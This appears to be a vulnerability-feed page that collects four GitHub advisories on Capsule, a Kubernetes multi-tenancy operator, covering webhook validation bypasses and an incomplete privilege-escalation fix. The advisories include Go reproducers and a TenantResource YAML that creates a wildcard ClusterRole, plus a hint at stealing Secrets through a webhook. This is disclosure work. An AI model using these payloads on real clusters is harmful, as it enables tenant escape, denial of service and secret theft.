Where
-Infinity
0
Severity
6.8
AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H

Summary

A parameter order bug in internal/webhook/tenant/validation/hostnameregex.go causes the hostnameRegexHandler.OnUpdate webhook to validate the old Tenant object's AllowedHostnames.Regex instead of the new one being submitted. This allows an invalid (malformed) regex to bypass admission validation and be persisted to etcd, causing a Denial of Service for all Ingress operations within the affected tenant.

Details

The TypedHandler[T] interface defines OnUpdate as:

go // handlers.go OnUpdate(c client.Client, reader client.Reader, obj T, old T, decoder admission.Decoder, recorder events.EventRecorder) Func // ^^^ NEW ^^^ OLD

The dispatcher in handler.go:93 calls: go hndl.OnUpdate(c, reader, tnt, old, decoder, recorder) // ^^^ NEW ^^^ OLD

However, hostnameRegexHandler.OnUpdate in hostnameregex.go declares its parameters in reversed order:

go // hostnameregex.go (BUGGY) func (h hostnameRegexHandler) OnUpdate( client.Client, client.Reader, old capsulev1beta2.Tenant, // ← receives NEW tenant (mislabeled as old) tnt capsulev1beta2.Tenant, // ← receives OLD tenant (mislabeled as tnt) ... ) handlers.Func { return func(...) admission.Response { if err := h.validate(tnt, req); err != nil { // ← validates OLD, not NEW return err } return nil } }

All 11 other handlers in the same package declare (tnt, old) correctly. hostnameregex.go is the only one with the swap.

As a result, when a Cluster Admin updates Tenant.Spec.IngressOptions.AllowedHostnames.Regex to a malformed value, the webhook compiles the previous valid regex and returns Allow. The malformed regex is then written to etcd.

Subsequently, every Ingress CREATE or UPDATE in that tenant triggers validatehostnames.go:160:

go matched, = regexp.MatchString(allowedRegex, currentHostname)

regexp.MatchString with an invalid pattern returns (false, error). The error is silently ignored, matched is false, and every hostname is rejected — blocking all Ingress operations in the tenant until the Tenant object is manually corrected by an admin.

PoC

//go:build ignore // Standalone reproducer for hostnameregex.go argument swap bug in Capsule // No external deps - shows the bug logic using only stdlib

package main

import ( "fmt" "regexp" )

// Simulating the Tenant spec structure type AllowedHostnames struct { Regex string }

type IngressOptions struct { AllowedHostnames AllowedHostnames }

type TenantSpec struct { IngressOptions IngressOptions }

type Tenant struct { Name string Spec TenantSpec }

// ========================================================= // BUGGY implementation (hostnameregex.go as-is) // OnUpdate(, , old Tenant, tnt Tenant) → validates OLD // ========================================================= func hostnameValidate(tnt Tenant) error { if tnt.Spec.IngressOptions.AllowedHostnames == nil { return nil } if len(tnt.Spec.IngressOptions.AllowedHostnames.Regex) == 0 { return nil } , err := regexp.Compile(tnt.Spec.IngressOptions.AllowedHostnames.Regex) if err != nil { return fmt.Errorf("Deny: unable to compile allowedHostnames allowedRegex") } return nil }

// Dispatcher calls: OnUpdate(c, reader, newTenant, oldTenant, ...) // Interface says: OnUpdate(c, reader, obj[NEW], old[OLD], ...) // // BUGGY handler receives: (old, tnt) meaning: // 3rd param (labeled "old") = actually NEW // 4th param (labeled "tnt") = actually OLD // Then calls h.validate(tnt) = validates the OLD tenant func buggyOnUpdate(newTenant, oldTenant Tenant) error { // BUG: parameters are SWAPPED vs the interface contract old := newTenant // dispatcher's "new" arrives as "old" in this function tnt := oldTenant // dispatcher's "old" arrives as "tnt" in this function = old // unused in the real code too return hostnameValidate(tnt) // validates OLD, not NEW }

// CORRECT implementation (what it should be) func correctOnUpdate(newTenant, oldTenant Tenant) error { = oldTenant return hostnameValidate(newTenant) // validates NEW }

// Simulate ingress hostname validation AFTER bad regex is stored func validateIngressHostname(tenant Tenant, hostname string) bool { if tenant.Spec.IngressOptions.AllowedHostnames == nil { return true } allowedRegex := tenant.Spec.IngressOptions.AllowedHostnames.Regex if len(allowedRegex) == 0 { return true } // This is validatehostnames.go:160 - error is IGNORED matched, := regexp.MatchString(allowedRegex, hostname) return matched }

func main() { fmt.Println("=== Capsule Bug Reproducer: hostnameregex.go argument swap ===") fmt.Println()

oldTenant := &Tenant{ Name: "demo-tenant", Spec: TenantSpec{ IngressOptions: IngressOptions{ AllowedHostnames: &AllowedHostnames{ Regex: ^[\w.-]+\.example\.com$, // valid regex }, }, }, }

// Attacker (cluster admin) sets an INVALID regex in the new spec newTenant := &Tenant{ Name: "demo-tenant", Spec: TenantSpec{ IngressOptions: IngressOptions{ AllowedHostnames: &AllowedHostnames{ Regex: [invalid-regex(, // INVALID regex }, }, }, }

fmt.Printf("Old tenant regex: %q (valid)\n", oldTenant.Spec.IngressOptions.AllowedHostnames.Regex) fmt.Printf("New tenant regex: %q (INVALID)\n", newTenant.Spec.IngressOptions.AllowedHostnames.Regex) fmt.Println()

// Step 1: Webhook runs OnUpdate fmt.Println("--- Step 1: Webhook OnUpdate ---")

err := buggyOnUpdate(newTenant, oldTenant) if err != nil { fmt.Printf("[BUGGY] Webhook DENIES update: %v\n", err) } else { fmt.Println("[BUGGY] Webhook ALLOWS update (validates OLD regex) ← WRONG") }

err = correctOnUpdate(newTenant, oldTenant) if err != nil { fmt.Printf("[CORRECT] Webhook DENIES update: %v ← EXPECTED\n", err) } else { fmt.Println("[CORRECT] Webhook ALLOWS update") }

// Step 2: Invalid regex now stored in etcd - simulate ingress validation fmt.Println() fmt.Println("--- Step 2: Ingress creation after bad regex stored ---") storedTenant := newTenant // bad regex is now in etcd

hostnames := []string{ "app.example.com", "api.example.com", "evil.attacker.com", }

for , h := range hostnames { allowed := validateIngressHostname(storedTenant, h) fmt.Printf(" Ingress hostname %q → allowed=%v", h, allowed) if !allowed { fmt.Print(" ← BLOCKED (DoS: invalid regex causes all hostnames to fail)") } fmt.Println() }

fmt.Println() fmt.Println("=== Result ===") fmt.Println("Invalid regex bypasses webhook validation and gets stored.") fmt.Println("All subsequent Ingress create/update in this tenant are BLOCKED.") fmt.Println("CWE-697: Incorrect Comparison — wrong Tenant object is validated.") }

go // Simulates the buggy webhook behaviour oldTenant := &Tenant{AllowedRegex: ^[\w-]+\.example\.com$} // valid newTenant := &Tenant{AllowedRegex: [invalid-regex(} // malformed

// Buggy OnUpdate: validates oldTenant (valid) → ALLOW // Correct OnUpdate: validates newTenant (invalid) → DENY

// After malformed regex is stored, all ingress hostnames are rejected: matched, := regexp.MatchString([invalid-regex(, "app.example.com") // matched = false, error ignored → Ingress blocked

Fix

Swap the parameter names in hostnameregex.go to match the interface contract:

go // BEFORE (buggy) func (h hostnameRegexHandler) OnUpdate( client.Client, client.Reader, old capsulev1beta2.Tenant, tnt capsulev1beta2.Tenant, ...

// AFTER (fixed) func (h hostnameRegexHandler) OnUpdate( client.Client, client.Reader, tnt capsulev1beta2.Tenant, old capsulev1beta2.Tenant, ...

Impact

A Cluster Admin (or a compromised admin account) can — intentionally or via a typo — set a malformed AllowedHostnames.Regex on any Tenant. The webhook silently accepts the update. All users in the affected tenant are subsequently unable to create or update any Ingress resource until an admin manually corrects the Tenant spec. This constitutes a targeted Denial of Service against the tenant's ingress layer.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N

Summary

Capsule lets a cluster administrator forbid specific metadata keys that tenant owners must not place on their own resources: Tenant.spec.namespaceOptions.forbiddenLabels / forbiddenAnnotations (namespaces), Tenant.spec.serviceOptions.forbiddenLabels / forbiddenAnnotations (Services), and the cluster-wide forbidden worker-node labels/annotations. These lists are an isolation control — they exist to stop a tenant owner from setting metadata that other controllers or admission plugins key on (Pod Security Admission labels, kubernetes.io/metadata.name, LoadBalancer/externalIP service annotations, scheduler annotations, vendor labels that grant network reach, etc.). The validating webhooks enforce them through api.ValidateForbidden, which calls ForbiddenListSpec.ExactMatch(key) for every key the tenant submits.

ExactMatch is broken. It sorts the denied list case-insensitively (sort.SliceStable with a strings.ToLower comparator) and then performs a byte-order binary search (sort.SearchStrings) over the result. sort.SearchStrings is only correct on a slice sorted in plain byte-ascending order. Whenever the denied list contains an entry whose case-insensitive position differs from its byte position — which happens any time the list mixes a capitalised key with lowercase keys, because ASCII uppercase letters (0x41–0x5A) sort before lowercase (0x61–0x7A) by byte but are interleaved by ToLower — the binary search lands on the wrong index and ExactMatch returns false for a key that is literally present in the denied list. The webhook then allows the forbidden metadata.

A tenant owner (who legitimately holds patch/create rights on their own tenant-owned namespaces and Services) can therefore set a metadata key the administrator explicitly forbade, defeating the control and reaching metadata-driven cross-tenant / system effects of exactly the kind Capsule's forbidden lists are meant to prevent. The bug is deterministic, requires no race, and is present unchanged on main HEAD.

Affected code (v0.13.5)

pkg/api/forbiddenlist.go — the comparison primitive:

go func (in ForbiddenListSpec) ExactMatch(value string) (ok bool) { if len(in.Exact) > 0 { sort.SliceStable(in.Exact, func(i, j int) bool { return strings.ToLower(in.Exact[i]) < strings.ToLower(in.Exact[j]) // case-INSENSITIVE order })

i := sort.SearchStrings(in.Exact, value) // binary search assuming BYTE order

ok = i < len(in.Exact) && in.Exact[i] == value }

return ok }

sort.SearchStrings returns the smallest index i such that in.Exact[i] >= value under raw byte comparison. If the slice is not byte-sorted, that index is wrong and the subsequent in.Exact[i] == value equality check fails even though value is in the slice — a false "not forbidden".

pkg/api/forbiddenlist.go — the public entry point the webhooks call:

go func ValidateForbidden(metadata map[string]string, forbiddenList ForbiddenListSpec) error { if reflect.DeepEqual(ForbiddenListSpec{}, forbiddenList) { return nil } for key := range metadata { var forbidden, matched bool forbidden = forbiddenList.ExactMatch(key) // <-- buggy matched = forbiddenList.RegexMatch(key) if forbidden || matched { return NewForbiddenError(key, forbiddenList) } } return nil }

Reached from (all in internal/webhook/):

- namespace/validation/usermetadata.go → validateUserMetadata → api.ValidateForbidden(labels, options.ForbiddenLabels) and api.ValidateForbidden(annotations, options.ForbiddenAnnotations). - service/validating.go → api.ValidateForbidden(svc.Labels, tnt.Spec.ServiceOptions.ForbiddenLabels) and ...ForbiddenAnnotations. - node/usermetadata.go → getForbiddenNodeLabels / getForbiddenNodeAnnotations call forbiddenLabels.ExactMatch(...) directly.

(The sibling allow-list primitive AllowedListSpec.ExactMatch in pkg/api/allowedlist.go has the identical defect, but there the polarity is fail-closed — a missed match wrongly denies an allowed class — so it is a correctness annoyance, not a security bypass. The forbidden-list polarity is the one that fails open.)

Attacker model / precondition

The attacker is a tenant owner — an authenticated, non-cluster-admin principal who already holds Capsule's delegated rights to create/patch their own tenant-owned namespaces and the Services within them (the normal Capsule tenancy model). No additional Kubernetes privilege is required.

The single deployment precondition that bounds severity: the administrator's denied list must contain at least one entry whose case-insensitive sort order diverges from its byte order — in practice, the list mixes at least one capitalised key with lowercase keys (or contains non-ASCII keys). A list that is uniformly lowercase (the most common shape) sorts identically under both orders and is not affected; an empty list (the chart default) is not affected. Mixed-case denied lists are entirely realistic, however: administrators routinely deny vendor/product-capitalised keys (e.g. OwnerReference, NetworkPolicy, CamelCase operator labels) alongside lowercase kubernetes.io/... keys. Once a single CamelCase entry is present, the broken binary search can also drop lowercase entries that share no resemblance to it — in the PoC below, adding a NetworkPolicy entry causes the unrelated lowercase kubernetes.io/metadata.name entry to escape as well. Any such list silently develops one or more exploitable gaps, and the defender cannot tell from the configuration that enforcement is partially disabled — the webhook reports success.

Once the precondition holds, exploitation is deterministic and needs only a single kubectl label/kubectl annotate (or create) on a resource the tenant already controls.

Impact

The administrator's forbidden-metadata isolation control is partially and silently bypassable. Concrete consequences depend on which key the gap exposes, but all of them are precisely what the control was configured to stop:

- Namespace labels/annotations: a tenant owner sets a label the admin forbade onto a tenant namespace — e.g. a Pod Security Admission pod-security.kubernetes.io/enforce override, a kubernetes.io/metadata.name-class identity label, or a label that a cluster NetworkPolicy / external controller selects on — re-introducing the multi-tenant-isolation break that Capsule's forbidden-label feature exists to prevent (the same class as the previously-fixed namespace-label-injection isolation issue). - Service labels/annotations: a tenant owner sets a forbidden Service annotation — e.g. a cloud LoadBalancer / externalIPs / internal-LB provider annotation the admin denied — influencing network exposure outside the tenant boundary. - Node labels/annotations: for tenants granted node-patch rights, a forbidden node label that the admin meant to protect can be modified, affecting scheduling/topology decisions cluster-wide.

Scope is Changed (the webhook protects resources and effects beyond the tenant's own boundary), confidentiality/integrity impact is real but gated by the mixed-case precondition and by which specific key the gap exposes — hence Medium, not High.

Proof of Concept (complete — runs on 127.0.0.1 only)

This PoC drives the real Capsule decision code (pkg/api) — the exact function the namespace/service/node webhooks call — with no network and no cluster. It demonstrates the bypass with a realistic mixed-case denied list and includes positive and negative controls so the result is unambiguous.

Step 1 — fetch the exact source under test (offline thereafter):

bash git clone --depth 1 --branch v0.13.5 https://github.com/projectcapsule/capsule.git cd capsule git rev-parse HEAD # expect 34262c5536604762090144b6f8aed3ef2780c18c

Step 2 — drop this test into the package under test, pkg/api/forbiddenbypasspoctest.go. The denied list is a realistic three-key administrator policy: deny the namespace identity label kubernetes.io/metadata.name, the Pod Security Admission label pod-security.kubernetes.io/enforce, and a CamelCase NetworkPolicy label:

go package api

import "testing"

// Realistic admin policy: forbid three sensitive metadata keys. func denied() ForbiddenListSpec { return ForbiddenListSpec{ Exact: []string{ "kubernetes.io/metadata.name", "pod-security.kubernetes.io/enforce", "NetworkPolicy", }, } }

// The bug: keys that ARE in the denied list slip through ValidateForbidden, // i.e. the webhook would ALLOW forbidden metadata the tenant submits. func TestPoCForbiddenKeysBypassed(t testing.T) { for , k := range []string{"NetworkPolicy", "kubernetes.io/metadata.name"} { if err := ValidateForbidden(map[string]string{k: "owned"}, denied()); err == nil { t.Errorf("BYPASS CONFIRMED: ValidateForbidden ALLOWED denied key %q (list=%v)", k, denied().Exact) } else { t.Logf("(no bypass) correctly denied %q: %v", k, err) } } }

// Positive control: a third denied key in the SAME list is still correctly // blocked — proving the policy genuinely forbids these keys and the harness is // wired right (i.e. the bypass above is selective, not a dead enforcement path). func TestPoCPositiveControlStillBlocked(t testing.T) { if err := ValidateForbidden(map[string]string{"pod-security.kubernetes.io/enforce": "privileged"}, denied()); err == nil { t.Errorf("control failure: denied key 'pod-security.kubernetes.io/enforce' was NOT blocked") } }

// Negative control: a key the admin did NOT deny is correctly allowed, // proving the webhook is not simply denying everything. func TestPoCNegativeControlBenignAllowed(t testing.T) { if err := ValidateForbidden(map[string]string{"app.kubernetes.io/name": "frontend"}, denied()); err != nil { t.Errorf("control failure: benign key was wrongly denied: %v", err) } }

// Direct primitive check, minimal repro of the root cause. func TestPoCExactMatchRootCause(t testing.T) { spec := ForbiddenListSpec{Exact: []string{"B", "a"}} // mixed case if !spec.ExactMatch("B") { t.Errorf("ROOT CAUSE: ExactMatch(%q) returned false though %q is in %v", "B", "B", spec.Exact) } }

Step 3 — run only these tests:

bash go test ./pkg/api/ -run 'TestPoC' -v

Observed output (Go 1.26, capsule v0.13.5):

=== RUN TestPoCForbiddenKeysBypassed forbiddenbypasspoctest.go:21: BYPASS CONFIRMED: ValidateForbidden ALLOWED denied key "NetworkPolicy" (list=[kubernetes.io/metadata.name pod-security.kubernetes.io/enforce NetworkPolicy]) forbiddenbypasspoctest.go:21: BYPASS CONFIRMED: ValidateForbidden ALLOWED denied key "kubernetes.io/metadata.name" (list=[kubernetes.io/metadata.name pod-security.kubernetes.io/enforce NetworkPolicy]) --- FAIL: TestPoCForbiddenKeysBypassed (0.00s) === RUN TestPoCPositiveControlStillBlocked --- PASS: TestPoCPositiveControlStillBlocked (0.00s) === RUN TestPoCNegativeControlBenignAllowed --- PASS: TestPoCNegativeControlBenignAllowed (0.00s) === RUN TestPoCExactMatchRootCause forbiddenbypasspoctest.go:49: ROOT CAUSE: ExactMatch("B") returned false though "B" is in [a B] --- FAIL: TestPoCExactMatchRootCause (0.00s) FAIL FAIL github.com/projectcapsule/capsule/pkg/api 0.013s

Interpretation: both control tests PASS — within the very same denied list, pod-security.kubernetes.io/enforce is still correctly blocked and a benign key is allowed, so enforcement is alive and the policy genuinely forbids these keys. Yet TestPoCForbiddenKeysBypassed FAILS: two explicitly-denied keys — the namespace identity label kubernetes.io/metadata.name and the CamelCase NetworkPolicy label — were allowed by the exact function the namespace/service/node webhooks call. In a live cluster this is the difference between the admission webhook denying and permitting kubectl label namespace <tenant-ns> NetworkPolicy=open (or the equivalent on a Service or Node). TestPoCExactMatchRootCause reduces the defect to its one-line cause.

Why it happens, concretely: sort.SearchStrings does a byte-order binary search but the slice was sorted by strings.ToLower. With the minimal Exact = ["B","a"], the ToLower comparator orders the slice ["a","B"] (because "a" < "b"). sort.SearchStrings(["a","B"], "B") returns the first index whose element byte-compares >= "B"; "a" is 0x61, which is >= "B" (0x42), so it returns index 0, and "a" != "B" → reports not-found. The forbidden key "B" is thereby treated as allowed. The three-key policy above exhibits the same fault for two of its real entries while leaving the third correctly enforced — which is exactly why the gap is silent: the administrator sees some keys blocked and reasonably assumes the whole list works.

Remediation

Stop performing a byte-order binary search over a non-byte-sorted slice. Any of the following fixes it:

- Simplest and allocation-free: replace the sort+SearchStrings with a direct membership test, and (recommended) build the denied list into a map[string]struct{} once at admission time:

go func (in ForbiddenListSpec) ExactMatch(value string) bool { for , e := range in.Exact { if e == value { return true } } return false }

- If a binary search is desired for large lists, sort and search under the same ordering: sort with plain < (drop the ToLower comparator) so the slice matches what sort.SearchStrings assumes, then keep the i < len && in.Exact[i] == value guard.

Apply the identical fix to AllowedListSpec.ExactMatch in pkg/api/allowedlist.go (same defect, fail-closed today but still incorrect and a latent denial). Also note that ExactMatch currently mutates the caller-shared in.Exact slice in place via sort.SliceStable; the map-based or copy-before-sort form additionally removes that shared-state mutation. Decide deliberately whether forbidden-key matching should be case-sensitive (it is today, post-fix) — if case-insensitive matching is intended, lowercase both the stored keys and the lookup value explicitly rather than relying on a mismatched sort/search pair.

Please credit 5ud0 / Tarmo Technologies.

1 / 2
Source: GitHub
First published (updated )
Severity
6.8
Input Validation
AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H

Summary A validation bug in internal/webhook/tenant/validation/forbiddenannotationsregex.go allows an invalid ForbiddenAnnotations.Regex value to bypass Tenant admission on update. The webhook compiles ForbiddenLabels.Regex for both labels and annotations, so a malformed annotations regex can be persisted. Once stored, namespace admission later evaluates the bad regex through pkg/api/forbiddenlist.go, where regexp.MustCompile can panic and cause admission failure.

Details In internal/webhook/tenant/validation/forbiddenannotationsregex.go, OnUpdate validates the new Tenant object, but the loop compiles tnt.Spec.NamespaceOptions.ForbiddenLabels.Regex for both labels and annotations. That means an invalid ForbiddenAnnotations.Regex is never validated if ForbiddenLabels.Regex is valid.

Relevant paths: - internal/webhook/tenant/validation/forbiddenannotationsregex.go - internal/webhook/namespace/validation/usermetadata.go - pkg/api/forbiddenlist.go

Namespace admission later calls api.ValidateForbidden(...), and ForbiddenListSpec.RegexMatch() uses regexp.MustCompile(in.Regex). If the malformed regex is present in the Tenant spec, any namespace request that reaches this check can panic or fail hard, causing denial of service for namespace operations in the affected tenant.

PoC 1. Update a Tenant so that: - spec.namespaceOptions.forbiddenLabels.regex is valid - spec.namespaceOptions.forbiddenAnnotations.regex is malformed, for example: [invalid-regex( 2. The Tenant update is accepted because the webhook compiles the labels regex for both fields. 3. Create or update a Namespace that triggers forbidden metadata validation. 4. The namespace admission path reaches regexp.MustCompile(...) and panics.

package main

import ( "fmt" "regexp" )

type ForbiddenListSpec struct { Regex string }

type NamespaceOptions struct { ForbiddenLabels ForbiddenListSpec ForbiddenAnnotations ForbiddenListSpec }

type Tenant struct { NamespaceOptions NamespaceOptions }

func validateTenantUpdate(tnt Tenant) error { if tnt.NamespaceOptions == nil { return nil }

annotationsToCheck := map[string]string{ "labels": tnt.NamespaceOptions.ForbiddenLabels.Regex, "annotations": tnt.NamespaceOptions.ForbiddenAnnotations.Regex, }

for scope, annotation := range annotationsToCheck { if , err := regexp.Compile(tnt.NamespaceOptions.ForbiddenLabels.Regex); err != nil { return fmt.Errorf("deny update: unable to compile %s regex for forbidden %s", annotation, scope) } }

return nil }

func validateForbidden(metadata map[string]string, forbidden ForbiddenListSpec) error { for key := range metadata { if forbidden.Regex != "" { if regexp.MustCompile(forbidden.Regex).MatchString(key) { return fmt.Errorf("forbidden key matched: %s", key) } } }

return nil }

func main() { oldTenant := &Tenant{ NamespaceOptions: &NamespaceOptions{ ForbiddenLabels: ForbiddenListSpec{Regex: ^[a-z0-9-]+$}, ForbiddenAnnotations: ForbiddenListSpec{Regex: ^[a-z0-9-]+$}, }, }

newTenant := &Tenant{ NamespaceOptions: &NamespaceOptions{ ForbiddenLabels: ForbiddenListSpec{Regex: ^[a-z0-9-]+$}, ForbiddenAnnotations: ForbiddenListSpec{Regex: [invalid-regex(}, }, }

fmt.Println("=== Update step ===") if err := validateTenantUpdate(newTenant); err != nil { fmt.Printf("unexpected deny: %v\n", err) } else { fmt.Println("allowed: malformed ForbiddenAnnotations.Regex bypassed validation") }

fmt.Println() fmt.Println("=== Namespace step ===") = oldTenant

defer func() { if r := recover(); r != nil { fmt.Printf("panic reproduced from ValidateForbidden: %v\n", r) } }()

= validateForbidden(map[string]string{"example": "value"}, ForbiddenListSpec{Regex: [invalid-regex(}) fmt.Println("no panic, unexpected") } Expected output:

text === Update step === allowed: malformed ForbiddenAnnotations.Regex bypassed validation

=== Namespace step === panic reproduced from ValidateForbidden: regexp: Compile([invalid-regex(): error parsing regexp: missing closing ]: [invalid-regex(

Impact An attacker who can update the Tenant configuration can persist a malformed ForbiddenAnnotations.Regex and cause namespace admission failures for the affected tenant. This can result in a tenant-scoped denial of service.

1 / 2
Source: GitHub
First published (updated )
Severity
6.6
AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L

Summary CVE-2026-22872 (GHSA-qjjm-7j9w-pw72) reported that a Tenant Owner could create cluster-scoped resources (e.g. ClusterRole, ValidatingWebhookConfiguration) through a TenantResource, because the controller applies them with its cluster-admin ServiceAccount and SetNamespace is ineffective for cluster-scoped kinds. The v0.13.0 fix added a cluster-scope rejection guard, but only on the NamespacedItems selection path (ResourceReference.LoadResources -> IsNamespacedGVK, error "cluster-scoped kind ... is not allowed"). The RawItems create path — the exact vector the original advisory named — and the Generators path were not given this guard. The vulnerability therefore persists in all releases v0.13.0 through v0.13.7 and on trunk HEAD (8d89d6865d).

Details TenantResource reconcile flow: - internal/controllers/resources/namespaced.go reconcile() obtains the apply client via loadClient(); by default (impersonation off, no Spec.ServiceAccount) this is the manager client whose SA is bound to cluster-admin (charts/capsule/templates/rbac.yaml:488-501, {fullname}-manager-rolebinding -> roleRef cluster-admin). - Collector.Collect() (collect.go) processes spec.RawItems via handleRawItem and spec.Generators via handleGeneratorItem.

handleRawItem (collect.go:406-425, trunk HEAD — byte-identical to v0.13.0): go tmplString := tpl.FastTemplate(string(item.Raw), opts.Iterator.FastContext) obj := &unstructured.Unstructured{} unstructured.UnstructuredJSONScheme.Decode([]byte(tmplString), nil, obj) if ns != nil { obj.SetNamespace(ns.Name) } // ONLY mitigation return obj, nil // NO IsNamespacedGVK / allowClusterScoped guard handleGeneratorItem (collect.go:382-404) is the same: it only SetNamespaces on rendered objects.

The accumulated objects flow to pkg/api/processor/processorfunc.go Reconcile() -> Apply() -> clt.PatchApply(ctx, c, obj, ...) (line 167/378) with no scope check at any point.

By contrast, CollectNamespacedItems (collect.go:308) calls item.LoadResources(..., allowClusterScoped=false), and pkg/template/reference.go:105-107 enforces: go if !allowClusterScoped && !isNamespaced { return nil, fmt.Errorf("cluster-scoped kind %s/%s is not allowed", ...) } So the guard the fix added is real, but it sits on a different (selection) path than the one the CVE described (RawItems create path). For cluster-scoped kinds, SetNamespace is ignored by the Kubernetes API server, so the object is created cluster-wide by the cluster-admin client.

Parent-fix diff confirmation: in v0.12.4 the RawItems handler in processor.go was the vulnerable code (obj.SetNamespace(ns.Name) then createOrUpdate via r.client). v0.13.0 refactored this into collect.go handleRawItem but left it without the new guard.

Proof of Concept A self-contained in-process Go test (incompletefixpoctest.go), run against trunk HEAD with go1.26.4, proves the asymmetry: - TestRawItemPathNoClusterScopeGuard: feeds a ClusterRole rawItem to handleRawItem -> object returned unchanged, no rejection (PASS). - TestNamespacedItemsPathHasClusterScopeGuard: feeds the same ClusterRole kind to LoadResources(allowClusterScoped=false) -> rejected with "cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed" (PASS).

VULNERABLE: RawItems path accepted cluster-scoped rbac.authorization.k8s.io/v1/ClusterRole; metadata.namespace="tenant-ns" (ignored by API server for cluster-scoped kinds) GUARDED: NamespacedItems path correctly rejected cluster-scoped kind: cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed

End-to-end (cluster) reproduction: 1. Deploy capsule (default Helm) with rbac.resources.create=true (the opt-in that exposes TenantResources to tenant owners; the configuration the original CVE applies to). 2. As a Tenant Owner, create in a tenant namespace: yaml apiVersion: capsule.clastix.io/v1beta2 kind: TenantResource metadata: {name: pwn, namespace: <tenant-ns>} spec: resources: - namespaceSelector: {matchLabels: {capsule.clastix.io/tenant: <tenant>}} rawItems: - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: {name: tenant-escalation} rules: [{apiGroups: [""], resources: [""], verbs: [""]}] 3. Observe the cluster-scoped ClusterRole tenant-escalation is created by the cluster-admin controller, despite the tenant owner lacking cluster RBAC to create it. Swap in ValidatingWebhookConfiguration to intercept/exfiltrate cluster-wide Secrets.

Impact A Tenant Owner (namespace-scoped) escalates to cluster-admin-equivalent privileges and can compromise all tenants and the cluster control plane. Identical impact to CVE-2026-22872; the v0.13.0 remediation does not close the RawItems/Generators vector.

Remediation Apply the same IsNamespacedGVK / allowClusterScoped rejection inside handleRawItem and handleGeneratorItem — or centrally in Collector.AddToAccumulation / processor.Apply — so the create path enforces the same cluster-scope policy as the selection path. (GlobalTenantResource shares the path but is not a privesc — cluster-admin-only to create.)

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203